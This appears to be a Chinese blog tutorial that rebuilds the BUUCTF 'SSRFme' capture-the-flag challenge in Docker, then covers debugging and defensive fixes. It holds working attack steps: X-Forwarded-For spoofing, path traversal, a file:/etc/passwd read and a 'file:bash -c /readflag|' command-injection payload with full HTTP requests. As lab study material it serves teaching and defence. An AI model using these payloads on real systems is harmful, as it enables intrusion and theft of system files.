手把手教你用Docker复现BUUCTF SSRFme靶场(附完整环境与调试技巧)

张开发
2026/4/20 14:22:28 15 分钟阅读

分享文章

手把手教你用Docker复现BUUCTF SSRFme靶场(附完整环境与调试技巧)
从零构建SSRF漏洞实战环境Docker化BUUCTF靶场深度解析第一次接触SSRF漏洞时我盯着那道BUUCTF题目整整两小时毫无头绪——直到在本地用Docker完整复现出漏洞环境所有细节突然变得清晰可见。本文将带你用容器技术搭建一个可反复爆破的SSRF实验场真正理解从IP伪造到命令执行的完整攻击链。1. 环境构建从源码到可调试的Docker容器1.1 解析原始漏洞代码先看这个典型SSRF漏洞的PHP核心逻辑$sandbox sandbox/ . md5(orange . $_SERVER[REMOTE_ADDR]); mkdir($sandbox); chdir($sandbox); $data shell_exec(GET . escapeshellarg($_GET[url])); // ...文件写入操作...关键点在于通过$_SERVER[REMOTE_ADDR]控制沙盒目录名使用GET命令处理用户输入的URL参数未过滤的文件写入操作1.2 编写Dockerfile构建漏洞环境新建Dockerfile文件FROM php:7.4-apache RUN apt-get update apt-get install -y libwww-perl \ rm -rf /var/lib/apt/lists/* COPY src/ /var/www/html/ RUN chown -R www-data:www-data /var/www/html \ mkdir /var/www/html/sandbox \ chmod 777 /var/www/html/sandbox这里特别注意必须安装libwww-perl包提供GET命令沙盒目录需要写权限PHP版本需与原始环境一致构建命令docker build -t ssrf-lab . docker run -d -p 8080:80 --name ssrf-test ssrf-lab2. 漏洞利用全流程拆解2.1 IP伪造与目录穿越启动容器后访问http://localhost:8080/?url./../../filenametest观察响应操作预期结果实际现象首次访问创建沙盒目录返回当前IP的MD5值添加X-Forwarded-For头修改REMOTE_ADDR值沙盒目录名变化多层目录穿越读取系统文件返回目录列表关键技巧使用Burp Suite的Repeater模块反复修改X-Forwarded-For头观察服务端响应变化2.2 GET命令的妙用GET命令的特殊行为是漏洞利用的关键# 测试GET命令基础功能 GET http://example.com # 获取网页内容 GET file:/etc/passwd # 读取本地文件在漏洞利用中通过构造特殊URL实现命令注入?urlfile:bash -c /readflag|filenameresult这个payload的巧妙之处在于file:协议触发本地文件读取管道符|绕过参数过滤最终执行结果写入指定文件2.3 完整攻击链演示分步操作流程确定沙盒位置GET / HTTP/1.1 Host: localhost:8080 X-Forwarded-For: 1.1.1.1记录返回的MD5值如c4ca4238a0b923820dcc509a6f75849b目录穿越探测GET /?url./../../../../../filenamedirlist HTTP/1.1 Host: localhost:8080执行系统命令GET /?urlfile:bash -c /readflag|filenameflagresult HTTP/1.1 Host: localhost:8080查看结果访问http://localhost:8080/sandbox/c4ca4238a0b923820dcc509a6f75849b/flagresult3. 调试技巧与排错指南3.1 常见问题解决方案问题现象原因分析解决方案GET命令未找到未安装libwww-perlapt-get install libwww-perl文件写入失败目录权限不足chmod 777 sandbox命令执行无效管道符缺失在payload末尾添加3.2 高级调试方法进入容器内部观察docker exec -it ssrf-test bash tail -f /var/log/apache2/error.log实时监控文件操作watch -n 1 ls -lR /var/www/html/sandbox使用tcpdump抓包分析docker exec ssrf-test tcpdump -i eth0 -w /tmp/dump.pcap4. 漏洞防御与安全编码实践4.1 修复方案对比防护措施实现方式优点缺点禁用危险函数disable_functionsshell_exec彻底阻断影响正常功能输入白名单校验URL参数格式灵活可控实现复杂使用安全库Guzzle等HTTP客户端功能完善需要重构代码4.2 安全编码建议永远不要信任用户输入// 错误示范 $data shell_exec($_GET[cmd]); // 正确做法 $allowed [ls, date]; if(in_array($_GET[cmd], $allowed)) { $data shell_exec(escapeshellcmd($_GET[cmd])); }文件操作安全规范使用绝对路径而非相对路径设置open_basedir限制访问范围文件权限遵循最小化原则日志记录关键操作file_put_contents( /var/log/ssrf.log, date([Y-m-d H:i:s]). .$_SERVER[REMOTE_ADDR]. .$_GET[url].\n, FILE_APPEND );在Docker环境中反复测试这些防护措施的效果比如尝试在启用open_basedir后再次利用漏洞观察系统行为的变化。这种亲手实践的经历比任何理论讲解都更能加深对漏洞本质的理解。

更多文章